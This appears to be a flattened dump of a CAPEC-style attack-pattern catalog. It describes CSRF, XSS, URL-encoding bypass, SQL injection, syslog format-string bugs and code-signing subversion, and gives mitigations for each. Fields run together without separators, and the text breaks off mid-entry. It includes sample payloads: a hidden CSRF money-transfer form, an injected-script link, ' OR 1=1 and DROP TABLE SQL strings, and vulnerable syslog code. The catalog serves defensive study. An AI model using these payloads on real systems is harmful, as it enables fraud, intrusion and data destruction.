This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.
Explore target websiteThe attacker first explores the target website to determine pieces of functionality that are of interest to him (e.g. money transfers). The attacker will need a legitimate user account on the target website. It would help to have two accounts.Use web application debugging tool such as WebScarab, Tamper Data or TamperIE to analyze the information exchanged between the client and the server env-WebUse network sniffing tool such as Wireshark to analyze the information exchanged between the client and the server env-WebView HTML source of web pages that contain links or buttons that perform actions of interest.env-WebAttacker identifies at least one piece of interesting functionality that can be executed by making a single HTTP GET or POST request containing no session-specific parameters.Attacker cannot identify any functionality that can be executed without sending a session-specific parameter other than the cookie in the HTTP request. Create a link that when clicked on, will execute the interesting functionality.The attacker needs to create a link that will execute some interesting functionality such as transfer money, change a password, etc.Create a GET request containing all required parameters (e.g. https://www.somebank.com/members/transfer.asp?to=012345678901&amt=10000)env-WebCreate a form that will submit a POST request (e.g. <form method="POST" action="https://www.somebank.com/members/transfer.asp"><input type="hidden" Name="to" value="012345678901"/><input type="hidden" Name="amt" value="10000"/><input type="submit" src="clickhere.jpg"/></form>env-WebSuccess outcome in previous step.env-WebFailure outcome in previous step.env-WebA link that performs an operation that the attacker desires when it is clicked.Creating a link that performs an operation that the attacker desires when it is clicked, is impossible, because the site has implemented protections against CSRF.Include a unique HTTP parameter value in forms every time they are sent to the client. Verify that the expected value is in the response received from the client. In this case, the attacker will not have access to the correct parameter value for another user, and thus, will not be able to create forged requests.Check HTTP referrer for each request to ensure that it is from the expected site. Note that if the site is vulnerable to XSS, then the attacker will be able to bypass this.Convince user to click on linkFinally, the attacker needs to convince a user that is logged into the target website to click on a link to execute the CSRF attack.Execute a phishing attack and send the user an e-mail convincing him to click on a link.env-WebExecute a stored XSS attack on a website to permanently embed the malicious link into the website.env-WebExecute a stored XSS attack on a website where a XMLHTTPRequest object will automatically execute the attack as soon as a user visits the page. This removes the step of convincing a user to click on a link.env-WebInclude the malicious link on the attacker's own website where the user may have to click on the link, or where an XMLHTTPRequest object may automatically execute the attack when a user visits the site.env-WebSuccess outcome in previous step.env-WebFailure outcome in previous step.env-WebA user executes the malicious link crafted by the attacker.Failure outcome in previous step.Monitor server logs for referrers. If users are being tricked into clicking CSRF links through forums or other web postings, their web browsers will be providing Referer headers most of the time. These can help indicate that the actual request is illegitimate. Deny requests and invalidate session IDs for requests that contain unexpected referrers. Note that this will not protect against cases where the target website is also vulnerable to cross site scripting.Very HighHighSpoofingAnalysisWhile a user is logged into his bank account, an attacker can send an email with some potentially interesting content and require the user to click on a link in the email.
The link points to or contains an attacker setup script, probably even within an iFrame, that mimicks an actual user form submission to perform a malicious activity, such as transferring funds from the victim's account.
The attacker can have the script embedded in, or targeted by, the link perform any arbitrary action as the authenticated user. When this script is executed, the targeted application authenticates and accepts the actions based on the victims existing session cookie.
Cross-site request forgery (CSRF) vulnerability in util.pl in @Mail WebMail 4.51 allows remote attackers to modify arbitrary settings and perform unauthorized actions as an arbitrary user, as demonstrated using a settings action in the SRC attribute of an IMG element in an HTML e-mail.Medium: The attacker needs to figure out the exact invocation of the targeted malicious action and then craft a link that performs the said action. Having the user click on such a link is often accomplished by sending an email or posting such a link to a bulletin board or the likes.All the attacker needs is the exact representation of requests to be made to the application and to be able to get the malicious link across to a victim.The attacker can observe the way the application accepts requests for actions. If the application uses a persistent cookie, a non-random identifier or any such static identification token that does not change with every request, the attack is fairly straightforward to accomplishIn order to obfuscate the actual URL and its contents passed to the victim, the attacker can employ a service such as TinyURL and optionally redirect the request to the actual malicious scriptUse cryptographic tokens to associate a request with a specific action. The token can be regenerated at every request so that if a request with an invalid token is encountered, it can be reliably discarded. The token is considered invalid if it arrived with a request other than the action it was supposed to be associated with.Although less reliable, the use of the optional HTTP Referer header can also be used to determine whether an incoming request was actually one that the user is authorized for, in the current context.Additionally, the user can also be prompted to confirm an action every time an action concerning potentially sensitive data is invoked. This way, even if the attacker manages to get the user to click on a malicious link and request the desired action, the user has a chance to recover by denying confirmation. This solution is also implicitly tied to using a second factor of authentication before performing such actions.In general, every request must be checked for the appropriate authentication token as well as authorization in the current session context.Privilege EscalationInformation LeakageData Modification
Cross Site Request Forgery is possible in a context where the vulnerable application does not authenticate every request.
Such applications rely on a persistent cookie or some such static identifier to identify and authenticate the user. In addition, there is no authorization to check the requested action.
This enables the attacker to perform actions in an authenticated context since the relevant cookies or identifiers are automatically tacked on by the browser to the request.
352Targeted306SecondaryComplete MediationDefense In DepthUse Authorization Mechanisms CorrectlyUse Authentication Mechanisms, Where Appropriate, CorrectlyExploitationHighHighLowClient-ServerJ2EE.NETAllAll"Session Riding: A Widespread Vulnerability in Today's Web Applications", Thomas Schreiber, SecureNet GmbH, Dec 2004. http://www.securenet.de/papers/Session_Riding.pdf
An attacker embeds malicious scripts in content that will be served to web browsers. The goal of the attack is for the target software, the client-side browser, to execute the script with the users’ privilege level.
An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute code and scripts. Web browsers, for example, have some simple security controls in place, but if a remote attacker is allowed to execute scripts (through injecting them in to user-generated content like bulletin boards) then these controls may be bypassed. Further, these attacks are very difficult for an end user to detect. As with all XSS attacks, there are a number of possible targets:
1. Launch attack on web browser clients and client machine
2. Launch attacks on client machines environment, such as LAN or Intranet
3. Launch attack on web server, including remote web servers
Web 2.0 technologies rely heavily on scripting, mashups of various remote content sources and other plug in technologies like multi media players which are effectively composed of content generated by other systems are vulnerable due to the fact that an attacker may use the HTTP header information that these technologies consume and display as an attack launch pad.
While Ajax and related Web 2.0 technologies are highly prized for rich client experience on web applications, they lack the ability to enforce security policy on the client side. The standard call for an Ajax application is XML HTTP Request (XHR), which by design limits its communication back to its URL host, however it is commonplace for developers to proxy communication from the host to other sites. In this case the client has no ability to 1) know that the communication is proxied in the first place and 2) know where the content is served from and 3) what intermediaries are involved who can sniff and tamper with data in transit.
Ajax does not necessarily introduce additional attack targets, but it does enhance the attacker's ability to execute attacks, probes, and enumerations, because Ajax client-server communications consist of numerous round trips. In classic XSS, the remote attacker may get only one chance to attempt an attack, and if she guesses wrong then needs to move on. In an Ajax scenario, it is likely the attacker can probe for multiple weaknesses, subnets, password combinations, and so on. The "lock" on the safe remains the same, but the attacker can try many combinations.
This lack of assurance on the client side opens up two main vectors for attackers, 1) the attacker can push code to launch attacks on the client system or network, and 2) the attacker can lure the client to malicious sites and to asserting information such as authentication or personal data to the malicious site.
Target client software must be a client that allows scripting communication from remote hosts, such as a Javascript-enabled Web Browser
Very HighHighInjectionModification of ResourcesProtocol Manipulation
Classic phishing attacks lure users to click on content that appears trustworthy, such as logos, and links that seem to go to their trusted financial institutions and online auction sites. But instead the attacker appends malicious scripts into the otherwise innocent appearing resources. The HTML source for a standard phishing attack looks like this
<a href="www.exampletrustedsite.com?Name=<script>maliciousscript</script>">Trusted Site</a>
When the user clicks the link, the appended script also executes on the local user's machine.
Low → To achieve a redirection and use of less trusted source, an attacker can simply place a script in bulletin board, blog, wiki, or other user-generated content site that are echoed back to other client machines.
High → Exploiting a client side vulnerability to inject malicious scripts into the browser’s executable process.
Ability to deploy a custom hostile service for access by targeted clients. Ability to communicate synchronously or asynchronously with client machine
Design: Use browser technologies that do not allow client side scripting.
Design: Utilize strict type, character, and encoding enforcement
Design: Server side developers should not proxy content via XHR or other means, if a http proxy for remote content is setup on the server side, the client's browser has no way of discerning where the data is originating from.
Implementation: Ensure all content that is delivered to client is sanitized against an acceptable content specification.
Implementation: Perform input validation for all remote content.
Implementation: Perform output validation for all remote content.
Implementation: Session tokens for specific host
Implementation: Patching software. There are many attack vectors for XSS on the client side and the server side. Many vulnerabilities are fixed in service packs for browser, web servers, and plug in technologies, staying current on patch release that deal with XSS countermeasures mitigates this.
Run Arbitrary CodeData ModificationInformation Leakage
“Attack Pattern: Simple Script Injection
"As a normal user of a system there are opportunities to supply input to the system. This input may include text, numbers, cookies, parameters, and so forth. Once these values are accepted by the system, they may be stored, and used later. If the data are used in a server response (such as a message board, where the data are stored and then displayed back to the users), an attacker can "pollute" these data with code that will be interpreted by unsuspecting client terminals."
[Hoglund and McGraw 04]
Malicious input delivered through standard content (containing scripts) that is sent to the user's machine, for example HTML page containing Javascript.
Varies with instantiation of attack pattern. Malicious script payload may be appended to end of legitimate looking link
Client browser, its component libraries, and client network (e..g Intranet)
Enables attacker to execute scripts to launch attacks on remote client machine and environment. Intranet and local systems may not be patched to the same degree as "externally" facing systems, so simple attacks may identify more victims on an "internal" system such as a corporate Intranet
20Targeted184Secondary96Targeted113Targeted348Targeted116Targeted350Targeted86Secondary18More AbstractPenetrationExploitationHighHighHighClient-ServerJ2EE.NETAllJSPJavaASP.NETASPPHPAJAX
G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL. An URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc. 1- The attacker accesses the server using a specific URL.2- The attacker tries to encode some special characters in the URL. The attacker find out that some characters are not filtered properly.3- The attacker crafts a malicious URL string request and sends it to the server.4- The server decodes and interprets the URL string. Unfortunately since the input filtering is not done properly, the special characters have harmful consequences.The application accepts and decodes URL string request.The application performs insufficient filtering/canonicalization on the URLs.HighHighInjectionProtocol ManipulationAPI AbuseAttack Example: Combined Encodings CesarFTP
Alexandre Cesari released a freeware FTP server for Windows that fails to provide proper filtering against multiple encoding. The FTP server, CesarFTP, included a Web server component that could be attacked with a combination of the triple-dot and URL encoding attacks.
An attacker could provide a URL that included a string like
/...%5C/
This is an interesting exploit because it involves an aggregation of several tricks—the escape character, URL encoding, and the triple dot.
CVE-2001-1335Low - An attacker can try special characters in the URL and bypass the URL validation.
Medium - The attacker may write a script to defeat the input filtering mechanism.An attacker can manually inject special characters in the URL string request and observe the results of the request.Custom scripts can also be used. For example, a good script for verifying the correct interpretation of UTF-8 encoded characters can be found at http://www.cl.cam.ac.uk/~mgk25/ucs/examples/UTF-8-test.txtAutomated tools such as fuzzer can be used to test the URL decoding and filtering.If the first decoding process has left some invalid or blacklisted characters, that may be a sign that the request is malicious.Traffic filtering with IDS (or proxy) can detect requests with suspicious URLs. IDS may use signature based identification to reveal such URL based attacks.Sometime the percent escaping can be used to obfuscate the attack itself.Alternative method of data encoding can be used.Obfuscation technique such as IP address encoding can also be used (See reference section : "URL encoded attacks", by Gunter Ollmann). Assume all input is malicious. Create a white list that defines all valid input to the software system based on the requirements specifications. Input that does not match against the white list should not be permitted to enter into the system. Test your decoding process against malicious input.Be aware of the threat of alternative method of data encoding and obfuscation technique such as IP address encoding.When client input is required from web-based forms, avoid using the “GET” method to submit data, as the method causes the form data to be appended to the URL and is easily manipulated. Instead, use the “POST method whenever possible.Any security checks should occur after the data has been decoded and validated as correct data format. Do not repeat decoding process, if bad character are left after decoding process, treat the data as suspicious, and fail the validation process.Refer to the RFCs to safelly decode URL.Regular expression can be used to match safe URL patterns. However, that may discard valid URL requests if the regular expression is too restrictive.There are tools to scan HTTP requests to the server for valid URL such as URLScan from Microsoft (http://www.microsoft.com/technet/security/tools/urlscan.mspx).Information LeakageDenial of ServiceRun Arbitrary CodeInformation LeakagePrivilege EscalationMost web programming languages have built in API to perform URL Encoding and URL Decoding. For instance PHP uses "urlencode(string)" and "urldecode(string)". Java uses "java.net.URLEncode.encode(String)".177Targeted171Targeted173Targeted172Targeted73Targeted21Targeted74Targeted20TargetedUsing Alternate Encodings to Bypass Validation LogicMore Detailed71Similar79Similar72Similar43SimilarReluctance to Trust PenetrationMediumHighMediumAllAllAllAllG. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.CWE – Input ValidationURL encoded attacks, by Gunter Ollmann - http://www.cgisecurity.com/lib/URLEmbeddedAttacks.htmlUniform Resource Identifier (URI): Generic Syntax, RFC 3886 - http://www.ietf.org/rfc/rfc3986.txtURL Uniform Resource Locators (URL) RFC - http://rfc.net/rfc1738.htmlURL encoding reference - http://www.w3schools.com/tags/ref_urlencode.aspThe URLEncode and URLDecode Page - http://www.albionresearch.com/misc/urlencode.phpDavid Wheeler - Validating URIs - http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/filter-html.html#VALIDATING-URIS
Attackers can capture appplication code bound for the client and can use it, as-is or through reverse-engineering, to glean sensitive information or exploit the trust relationship between the client and server.
Such code may belong to a dynamic update to the client, a patch being applied to a client component or any such interaction where the client is authorized to communicate with the server.
The attacker sets up a sniffer (and an interceptor, as the motive of the attack may be) in the path between the server and the clientThe captured code is then used as part of a larger attack, such as reverse-engineering the code or denying its delivery to the client or altering its contents on way to the clientThe attacker must have the ability to place himself in the communication path between the client and server.
The targeted application must receive some application code from the server; for example, dynamic updates, patches, applets or scripts.The attacker must be able to employ a sniffer on the network without being detected.HighLowAttacker receives notification that the computer/OS/application has an available update, loads a network sniffing tool, and extracts update data from subsequent communication.
The attacker then proceeds to reverse engineer the captured stream.
Plain code, such as applets or Javascript, is also part of the executing application. If such code is transmitted unprotected, the attacker can capture the code and possibly reverse engineer it to gain sensitive information, such as encryption keys, validation algorithms and such.Medium: The attacker needs to setup a sniffer for a sufficient period of time so as to capture meaningful quantities of code. The presence of the sniffer should not be detected on the network. Also if the attacker plans to employ a man-in-the-middle attack, the client or server must not realize this. Finally, the attacker needs to regenerate source code from binary code if the need be.The Attacker needs the ability to capture communications between the client being updated and the server providing the update.
In the case that encryption obscures client/server communication the attacker will either need to lift key material from the client.
Information LeakagePrivilege EscalationSniffing and capturing application code is used by an attacker to gain access to the code executing on the victim client. This can include binary code, such as patches, updates and applets, as well as script code, such as Javascript code.
With binary code, such as that included in updates or applets, it may be possible to reverse-engineer the code. If this is done, the attacker can extract passwords or encryption strings from such code.
In that respect, this pattern's context is that of an componenent (application/OS/system) supporting application update. It's likely that the attacker possess authorization for normal use already.
It is important to remember that code such as Javascript also forms part of the web application that offloads some amount of processing on the client, and can therefore contain sensitive information as well. For example, an application may be using some form of cryptography to encrypt contents before transmitting them over to the server, and in turn decrypting the server's responses.
Sniffing and capturing such code can also reveal potentially sensitive information and can compromise the application's security.
319Targeted311Secondary318Secondary37More DetailedDo not store secrets in client codeAll potentially sensitive data, including code, transmitted to the client must be encryptedNever Assuming that Your Secrets Are SafeSecuring the Weakest LinkUse Well-Known Cryptography Appropriately and CorrectlyUse Authentication Mechanisms, Where Appropriate, CorrectlyReconnaissanceExploitationHighMediumLowClient-ServerAllAllAll
This attack exploits target software that constructs SQL statements based on user input. An attacker crafts input strings so that when the target software constructs SQL statements based on the input, the resulting SQL statement performs actions other than those the application intended.
SQL Injection results from failure of the application to appropriately validate input. When specially crafted user-controlled input consisting of SQL syntax is used without proper validation as part of SQL queries, it is possible to glean information from the database in ways not envisaged during application design. Depending upon the database and the design of the application, it may also be possible to leverage injection to have the database execute system-related commands of the attacker's choice. SQL Injection enables an attacker to talk directly to the database, thus bypassing the application completely. Sucessful injection can cause information disclosure as well as ability to add or modify data in the database. In order to successfully inject SQL and retrieve information from a database, an attacker:Survey applicationThe attacker first takes an inventory of the functionality exposed by the application.Spider web sites for all available linksenv-WebSniff network communications with application using a utility such as WireShark.env-ClientServer env-Peer2Peer env-CommProtocolAt least one data input to application identified.No inputs to application identified. Note that just because no inputs are identified does not mean that the application will not accept any.Determine user-controllable input susceptible to injectionDetermine the user-controllable input susceptible to injection. For each user-controllable input that the attacker suspects is vulnerable to SQL injection, attempt to inject characters that have special meaning in SQL (such as a single quote character, a double quote character, two hyphens, a paranthesis, etc.). The goal is to create a SQL query with an invalid syntax.Use web browser to inject input through text fields or through HTTP GET parameters.env-WebUse a web application debugging tool such as Tamper Data, TamperIE, WebScarab,etc. to modify HTTP POST parameters, hidden fields, non-freeform fields, etc.env-WebUse network-level packet injection tools such as netcat to inject inputenv-Web env-ClientServer env-Peer2Peer env-CommProtocolUse modified client (modified by reverse engineering) to inject input.env-ClientServer env-Peer2Peer env-CommProtocolAttacker receives normal response from server.env-Web env-ClientServer env-Peer2Peer env-CommProtocolAttacker receives an error message from server indicating that there was a problem with the SQL query.env-Web env-ClientServer env-Peer2Peer env-CommProtocolServer sends a specific error message that indicates programmatic parsing of the input data (e.g. NumberFormatException)env-Web env-ClientServer env-Peer2Peer env-CommProtocolAt least one user-controllable input susceptible to injection found.No user-controllable input susceptible to injection found.Search for and alert on unexpected SQL keywords in application logs (e.g. SELECT, DROP, etc.).Input validation of user-controlled data before including it in a SQL queryUse parameterized queries (e.g. PreparedStatement in Java, and Command.Parameters.Add() to set query parameters in .NET)Experiment and try to exploit SQL Injection vulnerabilityAfter determining that a given input is vulnerable to SQL Injection, hypothesize what the underlying query looks like. Iteratively try to add logic to the query to extract information from the database, or to modify or delete information in the database.Use public resources such as "SQL Injection Cheat Sheet" at http://ferruh.mavituna.com/makale/sql-injection-cheatsheet/, and try different approaches for adding logic to SQL queries.env-Web env-ClientServer env-Peer2Peer env-CommProtocolAdd logic to query, and use detailed error messages from the server to debug the query. For example, if adding a single quote to a query causes an error message, try : "' OR 1=1; --", or something else that would syntactically complete a hypothesized query. Iteratively refine the query.env-Web env-ClientServer env-Peer2Peer env-CommProtocolUse "Blind SQL Injection" techniques to extract information about the database schema.env-Web env-ClientServer env-Peer2Peer env-CommProtocolIf a denial of service attack is the goal, try stacking queries. This does not work on all platforms (most notably, it does not work on Oracle or MySQL). Examples of inputs to try include: "'; DROP TABLE SYSOBJECTS; --" and "'); DROP TABLE SYSOBJECTS; --". These particular queries will likely not work because the SYSOBJECTS table is generally protected.env-Web env-ClientServer env-Peer2Peer env-CommProtocolSuccess outcome in previous step.env-Web env-ClientServer env-Peer2Peer env-CommProtocolFailure outcome in previous step.env-Web env-ClientServer env-Peer2Peer env-CommProtocolAttacker achieves goal of unauthorized system access, denial of service, etc.Attacker unable to exploit SQL Injection vulnerability.SQL queries used by the application to store, retrieve or modify data.User-controllable input that is not properly validated by the application as part of SQL queries.HighVery HighInjectionWith PHP-Nuke versions 7.9 and earlier, an attacker can successfully access and modify data, including sensitive contents such as usernames and password hashes, and compromise the application through SQL Injection. The protection mechanism against SQL Injection employs a blacklist approach to input validation. However, because of improper blacklisting, it is possible to inject content such as "foo'/**/UNION" or "foo UNION/**/" to bypass validation and glean sensitive information from the database.CVE-2006-5525Low - It is fairly simple for someone with basic SQL knowledge to perform SQL injection, in general. In certain instances, however, specific knowledge of the database employed may be required.NoneThe attacker tries to inject characters that can cause a SQL error, such as single-quote (') or keywords such as "UNION" and "OR". If the injection of such characters into the input causes a SQL error and the resulting error is displayed unfiltered, the attacker can begin to determine the nature of input validation and structure of SQL queries. A typical error resulting from such injection would look like:
"You have an error in your SQL Syntax. Check your manual for the right syntax to use near
') FROM db_users.user_table"
With available design documentation and code, the attacker can determine whether all user-controllable inputs are being validated or not, and also the structure of SQL queries that such inputs feed into.Too many false or invalid queries to the database, especially those caused by malformed input.Strong input validation - All user-controllable input must be validated and filtered for illegal characters as well as SQL content. Keywords such as UNION, SELECT or INSERT must be filtered in addition to characters such as a single-quote(') or SQL-comments (--) based on the context in which they appear.Use of parameterized queries or stored procedures - Parameterization causes the input to be restricted to certain domains, such as strings or integers, and any input outside such domains is considered invalid and the query fails. Note that SQL Injection is possible even in the presence of stored procedures if the eventual query is constructed dynamically.Use of custom error pages - Attackers can glean information about the nature of queries from descriptive error messages. Input validation must be coupled with customized error pages that inform about an error without disclosing information about the database or application.Data ModificationInformation LeakageRun Arbitrary CodePrivilege EscalationSQL Injection results from a combination of factors. The primary cause is lack of appropriate input validation. In the absence of such validation, it becomes possible to inject arbitrary content, such as code, into the input. The second most important reason is use of dynamic SQL queries. It is a misconception that use of stored procedures makes the application immune to SQL Injection. It is important that input be parameterized to provide an additional line of defense, should input validation fail. Another factor that lets attackers discern information about the structure of queries and the application is use of default error pages and improper error handling. Descriptive error pages must be used only for debugging purposes. The motive of an attacker is to inject spurious content into input that does not get properly validated and is used as part of SQL queries. When the resulting error page is displayed, the attacker can determine the structure of queries as well as internal system information, leading to SQL Injection being successful.
An important distinction needs to be made concerning first-order and second-order SQL Injection. With first-order injection, the results of injection are observed immediately in the form of an error message or a successful query resulting in attaining the attacker's motive. However, there are instances when the results of a successful injection are observed when a different query is executed or a different user accesses the application. For example, an attacker may enter
';DELETE recipes;--
as input to a favorite recipe question. When the application is subsequently requested to retrieve details of the attacker's favorite recipe, a query such as:
"SELECT descr FROM recipes WHERE recipe='"+rs.getString("Favorite")+"'";
results in the following being executed:
"SELECT descr FROM recipes WHERE recipe='';DELETE recipes;--
which is valid SQL syntax and results in deletion of an entire table.
This method of SQL Injection that involves subsequent access to injected data is known as second-order SQL Injection.
User-controllable input used as part of non-parameterized SQL queries: This may include input fields on web forms, data in user-accessible files or even command-line parameters.SQL statements intended to reveal information or run malicious codeBack-end databaseWhen malicious SQL content is executed by the database, it can lead to arbitrary queries being executed, causing disclosure of information, unauthorized access, privilege escalation and possibly system compromise.89Targeted74Secondary20Secondary390Secondary7More AbstractSpecial characters in user-controllable input must be escaped before use by the application.Only use parameterized stored procedures to query the database.Input data must be revalidated in the parameterized stored procedures.Custom error pages must be used to handle exceptions such that they do not reveal any information about the architecture of the application or the database.Reluctance to TrustFailing SecurelyDefense in DepthNever Use Input as Part of a Directive to any Internal ComponentHandle All Errors SafelyPenetrationExploitationHighHighHighAllAllAllAllCWE - SQL InjectionCWE - Input ValidationCWE - Improper Error HandlingThis attack targets the format string vulnerabilities in the syslog() function. An attacker would typically inject malicious input in the format string parameter of the syslog function. This is a common problem, and many public vulnerabilities and associated exploits have been posted. 1- The attacker finds that he can inject data to the format string parameter of Syslog().2- The attacker craft a malicious input and inject it into the format string parameter. From now on, the attacker can exeute arbitrary code and do more damage.The format string argument of the Syslog function can be tainted with user supplid data.Very HighHighInjectionFormat string vulnerability in TraceEvent function for ntop before 2.1 allows remote attackers to execute arbitrary code by causing format strings to be injected into calls to the syslog function, via (1) an HTTP GET request, (2) a user name in HTTP authentication, or (3) a password in HTTP authentication.CVE-2002-0412If the source code of the application is available, an attacker can use static analysis tools to spot a syslog vulnerability (a simple grep may also work).If the source code is not available, automated tools such as Fuzzer and advanced Web Scanner can be used. If the tool supplied data reaches the syslog's format string argument, the application under scrutiny may have unexpected behavior.If the source code is not available, a more complexe technique involve the use of library and system call tracer combined with the use of binary auditing tool such as IDA Pro. Reverse Engineering technique can be used to find format string vulnerability in the syslog function call. For instance it is possible to get the address of the buffer that is later used as the format string when reading dataThe code should be reviewed for misuse of the Syslog function call. Manual or automated code review can be used. The reviewer needs to ensure that all format string functions are passed a static string which cannot be controlled by the user and that the proper number of arguments are always sent to that function as well. If at all possible, do not use the %n operator in format strings. The following code shows a correct usage of Syslog():
...
syslog(LOG_ERR, "%s", cmdBuf);
...
The following code shows a vulnerable usage of Syslog():
...
syslog(LOG_ERR, cmdBuf); // the buffer cmdBuff is taking user supplied data.
...
Run Arbitrary CodeDenial of ServicePrivilege EscalationData ModificationFormat String Vulnerabilities
When you get right down to it, format strings vulnerabilities are relatively simple in nature. An API call that takes a format string (i.e., %s) can be exploited when the format string argument is controlled by a remote attacker. Unfortunately, the problem exists mainly because of laziness on the part of the programmer. However, the problem is so simple that it can be detected automatically using simple code scanners. Thus, once the format string vulnerability was publicized in the late 1990s, it was rapidly hunted down and eliminated in most software.
Here is a trivial function that suffers from a format string problem:
void some_func(char *c)
{
printf(c);
}Untrusted user supplied data is the injection vector.The maliciously crafted data can read from the stack if passed to the Syslog function as a format String.The signature of the syslog function is as following : "void syslog(int priority, const char *format, ...);"
A vulnerable usage would be : "syslog(LOG_ERR, cmdBuf);" where cmdBuf is a user controlled data which leads to a format string vulnerability. The activation zone is the format String argument which accepts user supplied data.The impacts of this attack can be execution of arbitrary code. Execution of arbitary code can lead to many problems such as corruption of data, unauthorized access, etc.120Secondary134Targeted74Secondary20SecondaryCVE-2002-0573format string in bad call to syslog functionCVE-2001-0717format string in bad call to syslog functionCVE-2002-0412format string in bad call to syslog functionBuffer Overflow via Format StringsMore DetailedChoose a language which is not subject to this flaw.Do not use the Syslog() in your implementation.Use manual or automated code review to spot potential format string vulnerability in functions such as Syslog(), Vsyslog(), snprintf(), etc.Reluctance to TrustVerify that input is of a limited size. If the message is coming from an outside source, check for %s type parameters and ensure that bounds will not be overwritten.Don't use text from an outside source as a format string.PenetrationExploitationHighHighHighAllAllAllAllCC++G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.CWE – Buffer ErrorsExploiting Format String Vulnerabilities, scut / team teso, http://doc.bughunter.net/format-string/exploit-fs.htmlHalvar Flake,
“Auditing binaries for security vulnerabilities”,
http://www.blackhat.com/presentations/bh-europe-
00/HalvarFlake/HalvarFlake.pptFortify Taxonomy of Vulnerabilities : http://vulncat.fortifysoftware.com/1/FS.html - Fortify Software (www.fortifysoftware.com)Syslog man page : http://www.rt.com/man/syslog.3.htmlBecause languages use code signing facilities to vouch for code's identity and to thus tie code to its assigned privileges within an environment, subverting this mechanism can be instrumental in an attacker escalating privilege.
Any means of subverting the way that a virtual machine enforces code signing classifies for this style of attack. This pattern does not include circumstances through which a signing key has been stolen.A framework-based language that supports code signing (such as, and most commonly, Java or .NET)Deployed code that has been signed by its authoring vendor, or a partner.The attacker will, for most circumstances, also need to be able to place code in the victim container. This does not necessarily mean that they will have to subvert host-level security, except when explicitly indicated.Very HighLowSpoofingAPI AbuseIn old versions (prior to 3.0b4) of the Netscape web browser
Attackers able to foist a malicious Applet into a client's browser could execute the
"Magic Coat" attack. In this attack, the offending Applet would implement its own
getSigners() method. This implementation would use the containing VM's APIs to acquire
other Applet's signatures (by calling _their_ getSigners() method) and if any running
Applet had privileged-enough signature, the malicious Applet would have inherited that
privilege just be (metaphorically) donning the others' coats.
Some (older) web browsers allowed scripting languages, such as
Javascript, to call signed Java code. In these circumstances, the browser's VM impli-
mentation would choose not to conduct stack inspection across language boundaries (
from called signed Java to calling Javascript) and would short-circuit "true" at the
language boundary. Doing so meant that the VM would allow any (unprivileged) script
to call privileged funcitons within signed code with impunity, causing them to fall
prey to luring attacks.
The ability to load unsigned code into the kernel of earlier versions of Vista and bypass integrity checking is an example of such subversion. In the proof-of-concept, it is possible to bypass the signature-checking mechanism Vista uses to load device drivers.High: Subverting code signing is not a trivial activity. Most code signing and verification schemes are based on use of cryptography and the attacker needs to have an understand of these cryptographic operations in good detail. Additionally the attacker also needs to be aware of the way memory is assigned and accessed by the container since, often, the only way to subvert code signing would be to patch the code in memory.
Finally, a knowledge of the platform specific mechanisms of signing and verifying code is a must.
The Attacker needs no special resources beyond the listed pre-requisities in order to conduct this style of attack.
Understanding, and possibly exploiting, the effect of certain flags or environment variables on code signing.Introducing unmanaged code into a container-managed environmentA given code signing scheme may be fallible due to improper use of cryptography. Developers must never roll out their own cryptography, nor should existing primitives be modified or ignored.If an attacker cannot attack the scheme directly, he might try to alter the environment that affects the signing and verification processes. A possible mitigation is to avoid reliance on flags or environment variables that are user-controllable.Privilege EscalationThe context in which this class of attacks occurs is often a VM-based language, such as Java or .NET, as described by this pattern's pre-requisities section.
However, that is not necessary. Code signing schemes meant to operate on C-based (or similar) software may also be vulnerable to similar weaknesses.
Attackers must probe the container for vulnerabilities in its code signing, verification, and stack inspection schemes.
This can be done through a variety of direct or side-channel techniques. These techniques include, but are not restricted to, observing the effect of certain operating system flags on the code signing process, looking for weaknesses in the verification algorithm as implemented by the container or other means intended to lead the code signing or verification scheme to accept malicious code.
The Attacker must also probe for the existance of any signed code they wish to exploit (such as the examples given).
In the case of forging a signature (in a vacuum) to increase privilege, this step is not required.
325Targeted328TargetedCVE-2006-5201Multiple packages on Sun Solaris, including (1) NSS; (2) Java JDK and JRE 5.0 Update 8 and earlier, SDK and JRE 1.4.x up to 1.4.2_12, and SDK and JRE 1.3.x up to 1.3.1_19; (3) JSSE 1.0.3_03 and earlier; (4) IPSec/IKE; (5) Secure Global Desktop; and (6) StarOffice, when using an RSA key with exponent 3, removes PKCS-1 padding before generating a hash, which allows remote attackers to forge a PKCS #1 v1.5 signature that is signed by that RSA key and prevents these products from correctly verifying X.509 and other certificates that use PKCS #1.CVE-2006-4790verify.c in GnuTLS before 1.4.4, when using an RSA key with exponent 3, does not properly handle excess data in the digestAlgorithm.parameters field when generating a hash, which allows remote attackers to forge a PKCS #1 v1.5 signature that is signed by that RSA key and prevents GnuTLS from correctly verifying X.509 and other certificates that use PKCS, a variant of CVE-2006-4339.Use Well-Known Cryptography Appropriately and CorrectlyExploitationHighHighHighClient-ServerSOAAllAllAllThis attack targets programs running with elevated privileges. The attacker would try to leverage a bug in the running program and get arbitrary code to execute with elevated privileges. For instance an attacker would look for programs that write to the system directories or registry keys (such as HKLM, which stores a number of critical Windows environment variables). These programs are typically running with elevated privileges and have usually not been designed with security in mind. Such programs are excellent exploit targets because they yield lots of power when they break. The malicious user try to execute its code at the same level as a privileged system call. 1- The attacker probes for programs running with elevated privileges.2- The attacker finds a bug in a program running with elevated privileges.3- The attacker exploits the bug that she has found. For instance she can try to inject and execute arbitrary code or write to OS resources.The targeted program runs with elevated OS privileges.The targeted program accepts input data from the user or from another program.The targeted program does not perform input validation properly.The targeted program does not fail 